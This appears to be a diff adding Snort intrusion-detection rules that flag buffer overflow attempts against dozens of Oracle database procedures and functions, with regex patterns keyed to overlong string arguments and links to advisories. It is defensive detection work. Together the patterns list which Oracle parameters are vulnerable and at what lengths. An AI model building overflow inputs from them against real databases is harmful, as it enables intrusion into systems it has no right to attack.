+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.refresh_mview_repgroup buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.refresh_mview_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*gowner[\r\n\s]*=>[\r\n\s]*\2|gowner\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(true|false)\s*,\s*(true|false)\s*,\s*(true|false)\s*,\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; reference:url,www.appsecinc.com/Policy/PolicyCheck90.html; classtype:attempted-user; sid:2631; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE refresh_mview_repgroup ordered gowner buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.refresh_mview_repgroup"; nocase; pcre:"/\(\s*(\x27[^\x27]*'|\x22[^\x22]+\x22)\s*,(\s*(true|false)\s*,\s*){3}((\x27[^\x27]{1000,})|(\x22[^\x22]{1000,}))/Rmsi"; reference:url,www.appsecinc.com/Policy/PolicyCheck90.html; classtype:attempted-user; sid:2632; rev:1;)
+
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_rectifier_diff.rectify buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_rectifier_diff.rectify"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*missing_rows_oname1[\r\n\s]*=>[\r\n\s]*\2|missing_rows_oname1\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|(\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*sname1[\r\n\s]*=>[\r\n\s]*\2|sname1\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; reference:url,www.appsecinc.com/Policy/PolicyCheck97.html; classtype:attempted-user; sid:2633; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE rectifier_diff ordered sname1 buffer overflow attempt"; flow:to_server,established; content:"dbms_rectifier_diff"; nocase; pcre:"/\(\s*((\x27[^\x27]{1000,})|(\x22[^\x22]{1000,}))/Rmsi"; reference:url,www.appsecinc.com/Policy/PolicyCheck97.html; classtype:attempted-user; sid:2634; rev:1;)
+
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_offline_snapshot.end_load buffer overflow attempt"; flow:to_server,established; content:"dbms_offline_snapshot.end_load"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; reference:url,www.appsecinc.com/Policy/PolicyCheck632.html; classtype:attempted-user; sid:2635; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE snapshot.end_load ordered gname buffer overflow attempt"; flow:to_server,established; content:"dbms_offline_snapshot.end_load"; nocase; pcre:"/\(\s*((\x27[^\x27]{1000,})|(\x22[^\x22]{1000,}))/Rmsi"; reference:url,www.appsecinc.com/Policy/PolicyCheck632.html; classtype:attempted-user; sid:2636; rev:1;)
+
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.drop_master_repobject buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.drop_master_repobject"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*type[\r\n\s]*=>[\r\n\s]*\2|type\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; reference:url,www.appsecinc.com/Policy/PolicyCheck634.html; classtype:attempted-user; sid:2637; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE drop_master_repobject ordered type buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.drop_master_repobject"; nocase; pcre:"/\((\s*(\x27[^\x27]*'|\x22[^\x22]+\x22)\s*,){2}\s*((\x27[^\x27]{1000,})|(\x22[^\x22]{1000,}))/Rsmi"; reference:url,www.appsecinc.com/Policy/PolicyCheck634.html; classtype:attempted-user; sid:2638; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.drop_mview_repgroup buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.drop_mview_repgroup"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*gowner[\r\n\s]*=>[\r\n\s]*\2|gowner\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(true|false)\s*,\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; reference:url,www.appsecinc.com/Policy/PolicyCheck90.html; classtype:attempted-user; sid:2639; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE drop_mview_repgroup ordered gowner/gname buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.drop_mview_repgroup"; nocase; pcre:"/\(\s*(\x27[^\x27]*'|\x22[^\x22]+\x22)\s*,\s*(true|false)\s*,\s*((\x27[^\x27]{1000,})|(\x22[^\x22]{1000,}))/Rmsi"; reference:url,www.appsecinc.com/Policy/PolicyCheck90.html; classtype:attempted-user; sid:2640; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat_instantiate.drop_site_instantiation buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat_instantiate.drop_site_instantiation"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*refresh_template_name[\r\n\s]*=>[\r\n\s]*\2|refresh_template_name\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; classtype:attempted-user; sid:2641; rev:3;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE drop_site_instantiate ordered refresh_template_name buffer overflow attempt"; flow:to_server,established; content:"drop_site_instantiation"; nocase; pcre:"/\(\s*((\x27[^\x27]{1000,})|(\x22[^\x22]{1000,}))/Rmsi"; reference:url,www.appsecinc.com/Policy/PolicyCheck629.html; classtype:attempted-user; sid:2642; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_fla.ensure_not_published buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_fla.ensure_not_published"; nocase; pcre:"/\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})/si"; reference:url,www.appsecinc.com/Policy/PolicyCheck96.html; classtype:attempted-user; sid:2643; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE from_tz buffer overflow attempt"; flow:to_server,established; content:"FROM_TZ"; nocase; pcre:"/\(\s*TIMESTAMP\s*(\s*(\x27[^\x27]+'|\x22[^\x22]+\x22)\s*,)\s*((\x27[^\x27]{1000,})|(\x22[^\x22]{1000,}))/Rmsi"; reference:url,www.nextgenss.com/advisories/ora_from_tz.txt; classtype:attempted-user; sid:2644; rev:1;)
+
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat_instantiate.instantiate_offline buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat_instantiate.instantiate_offline"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*refresh_template_name[\r\n\s]*=>[\r\n\s]*\2|refresh_template_name\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; classtype:attempted-user; sid:2645; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE instantiate_offline ordered refresh_template_name buffer overflow attempt"; flow:to_server,established; content:"instantiate_offline"; nocase; pcre:"/\(\s*((\x27[^\x27]{1000,})|(\x22[^\x22]{1000,}))/Rmsi"; reference:url,www.appsecinc.com/Policy/PolicyCheck630.html; classtype:attempted-user; sid:2646; rev:1;)
+
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat_instantiate.instantiate_online buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat_instantiate.instantiate_online"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*refresh_template_name[\r\n\s]*=>[\r\n\s]*\2|refresh_template_name\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; classtype:attempted-user; sid:2647; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE instantiate_online ordered refresh_template_name buffer overflow attempt"; flow:to_server,established; content:"instantiate_online"; nocase; pcre:"/\(\s*((\x27[^\x27]{1000,})|(\x22[^\x22]{1000,}))/Rmsi"; reference:url,www.appsecinc.com/Policy/PolicyCheck631.html; classtype:attempted-user; sid:2648; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE service_name buffer overflow attempt"; flow:to_server,established; content:"connect_data"; nocase; content:"|28|service_name="; nocase; isdataat:1000,relative; content:!"|22|"; within:1000; reference:url,www.appsecinc.com/Policy/PolicyCheck52.html; classtype:attempted-user; sid:2649; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE user name buffer overflow attempt"; flow:to_server,established; content:"connect_data"; nocase; content:"|28|user="; nocase; isdataat:1000,relative; content:!"|22|"; within:1000; reference:url,www.appsecinc.com/Policy/PolicyCheck62.html; classtype:attempted-user; sid:2650; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE NUMTODSINTERVAL/NUMTOYMINTERVAL buffer overflow attempt"; flow:to_server,established; content:"NUMTO"; nocase; content:"INTERVAL"; distance:2; nocase; pcre:"/NUMTO(DS|YM)INTERVAL\s*\(\s*\d+\s*,\s*((\x27[^\x27]{1000,})|(\x22[^\x22]{1000,}))/msi"; reference:bugtraq,9587; reference:url,www.nextgenss.com/advisories/ora_numtodsinterval.txt; reference:url,www.nextgenss.com/advisories/ora_numtoyminterval.txt; classtype:attempted-user; sid:2651; rev:2;)
+
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_offline_og.begin_load buffer overflow attempt"; flow:to_server,established; content:"dbms_offline_og.begin_load"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; reference:url,www.appsecinc.com/Policy/PolicyCheck632.html; classtype:attempted-user; sid:2652; rev:2;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE og.begin_load ordered gname buffer overflow attempt"; flow:to_server,established; content:"dbms_offline_og.begin_load"; nocase; pcre:"/\(\s*((\x27[^\x27]{1000,})|(\x22[^\x22]{1000,}))/Rmsi"; reference:url,www.appsecinc.com/Policy/PolicyCheck632.html; classtype:attempted-user; sid:2653; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE TO_CHAR buffer overflow attempt"; flow:to_server,established; content:"TO_CHAR"; nocase; pcre:"/TO_CHAR\s*\(\s*SYSTIMESTAMP\s*,\s*(\x27[^\x27]{256}|\x22[^\x22]{256})/smi"; classtype:attempted-user; sid:2699; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat_rgt.drop_site_instantiation buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat_rgt.drop_site_instantiation"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*refresh_template_name[\r\n\s]*=>[\r\n\s]*\2|refresh_template_name\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; classtype:attempted-user; sid:2676; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_defer_repcat.enable_propagation_to_dblink buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_defer_repcat.enable_propagation_to_dblink"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*dblink[\r\n\s]*=>[\r\n\s]*\2|dblink\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; classtype:attempted-user; sid:2690; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_rectifier_diff.differences buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_rectifier_diff.differences"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*missing_rows_oname1[\r\n\s]*=>[\r\n\s]*\2|missing_rows_oname1\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|(\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*sname1[\r\n\s]*=>[\r\n\s]*\2|sname1\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){9}(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; reference:url,www.appsecinc.com/Policy/PolicyCheck97.html; classtype:attempted-user; sid:2686; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE mdsys.md2.sdo_code_size buffer overflow attempt"; flow:to_server,established; content:"mdsys.md2.sdo_code_size"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{512,}\x27|\x22[^\x22]{512,}\x22)[\r\n\s]*\x3b.*layer[\r\n\s]*=>[\r\n\s]*\2|layer\s*=>\s*(\x27[^\x27]{512,}|\x22[^\x22]{512,})|\(\s*(\x27[^\x27]{512,}|\x22[^\x22]{512,}))/si"; classtype:attempted-user; sid:2683; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_aqadm.verify_queue_types_get_nrp buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_aqadm.verify_queue_types_get_nrp"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*src_queue_name[\r\n\s]*=>[\r\n\s]*\2|src_queue_name\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; classtype:attempted-user; sid:2694; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat.add_delete_resolution buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat.add_delete_resolution"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*sname[\r\n\s]*=>[\r\n\s]*\2|sname\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|(\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*oname[\r\n\s]*=>[\r\n\s]*\2|oname\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; classtype:attempted-user; sid:2674; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat_rgt.instantiate_online buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat_rgt.instantiate_online"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*refresh_template_name[\r\n\s]*=>[\r\n\s]*\2|refresh_template_name\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*((\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*){2}(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; classtype:attempted-user; sid:2677; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_utl.is_master buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_utl.is_master"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*CANON_GNAME[\r\n\s]*=>[\r\n\s]*\2|CANON_GNAME\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; classtype:attempted-user; sid:2696; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_internal_repcat.disable_receiver_trace buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_internal_repcat.disable_receiver_trace"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; classtype:attempted-user; sid:2689; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE mdsys.md2.validate_geom buffer overflow attempt"; flow:to_server,established; content:"mdsys.md2.validate_geom"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{128,}\x27|\x22[^\x22]{128,}\x22)[\r\n\s]*\x3b.*layer[\r\n\s]*=>[\r\n\s]*\2|layer\s*=>\s*(\x27[^\x27]{128,}|\x22[^\x22]{128,})|\(\s*(\x27[^\x27]{128,}|\x22[^\x22]{128,}))/si"; classtype:attempted-user; sid:2682; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_defer_internal_sys.parallel_push_recovery buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_defer_internal_sys.parallel_push_recovery"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*destination[\r\n\s]*=>[\r\n\s]*\2|destination\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; classtype:attempted-user; sid:2691; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE ctx_output.start_log buffer overflow attempt"; flow:to_server,established; content:"ctx_output.start_log"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*logfile[\r\n\s]*=>[\r\n\s]*\2|logfile\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; classtype:attempted-user; sid:2678; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE mdsys.sdo_admin.sdo_code_size buffer overflow attempt"; flow:to_server,established; content:"mdsys.sdo_admin.sdo_code_size"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*layer[\r\n\s]*=>[\r\n\s]*\2|layer\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; classtype:attempted-user; sid:2681; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_aq_import_internal.aq_table_defn_update buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_aq_import_internal.aq_table_defn_update"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*qt_name[\r\n\s]*=>[\r\n\s]*\2|qt_name\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]*\x27|\x22[^\x22]+\x22)\s*,\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; classtype:attempted-user; sid:2695; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_internal_repcat.enable_receiver_trace buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_internal_repcat.enable_receiver_trace"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; classtype:attempted-user; sid:2688; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_aqadm_sys.verify_queue_types buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_aqadm_sys.verify_queue_types"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*src_queue_name[\r\n\s]*=>[\r\n\s]*\2|src_queue_name\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; classtype:attempted-user; sid:2692; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE alter file buffer overflow attempt"; flow:to_server,established; content:"alter"; nocase; pcre:"/ALTER\s.*?FILE\s+((AS|MEMBER|TO)\s+)?(\x27[^\x27]{512}|\x22[^\x22]{512})/smi"; classtype:attempted-user; sid:2697; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE dbms_repcat_rgt.instantiate_offline buffer overflow attempt"; flow:to_server,established; content:"dbms_repcat_rgt.instantiate_offline"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*privilege_type[\r\n\s]*=>[\r\n\s]*\2|privilege_type\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; classtype:attempted-user; sid:2675; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE ctxsys.driddlr.subindexpopulate buffer overflow attempt"; flow:to_server,established; content:"ctxsys.driddlr.subindexpopulate"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*logfile[\r\n\s]*=>[\r\n\s]*\2|logfile\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\d+\s*,\s*){3}(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; classtype:attempted-user; sid:2680; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_system.ksdwrt buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_system.ksdwrt"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*tst[\r\n\s]*=>[\r\n\s]*\2|tst\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*\d+\s*,\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; classtype:attempted-user; sid:2679; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_internal_repcat.validate buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_internal_repcat.validate"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*gname[\r\n\s]*=>[\r\n\s]*\2|gname\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; classtype:attempted-user; sid:2687; rev:1;)
+alert tcp $EXTERNAL_NET any -> $SQL_SERVERS $ORACLE_PORTS (msg:"ORACLE sys.dbms_repcat_rq.add_column buffer overflow attempt"; flow:to_server,established; content:"sys.dbms_repcat_rq.add_column"; nocase; pcre:"/((\w+)[\r\n\s]*\x3a=[\r\n\s]*(\x27[^\x27]{1024,}\x27|\x22[^\x22]{1024,}\x22)[\r\n\s]*\x3b.*SCHEMA_NAME[\r\n\s]*=>[\r\n\s]*\2|SCHEMA_NAME\s*=>\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,})|\(\s*(\x27[^\x27]{1024,}|\x22[^\x22]{1024,}))/si"; classtype:attempted-user; sid:2685; rev:1;)
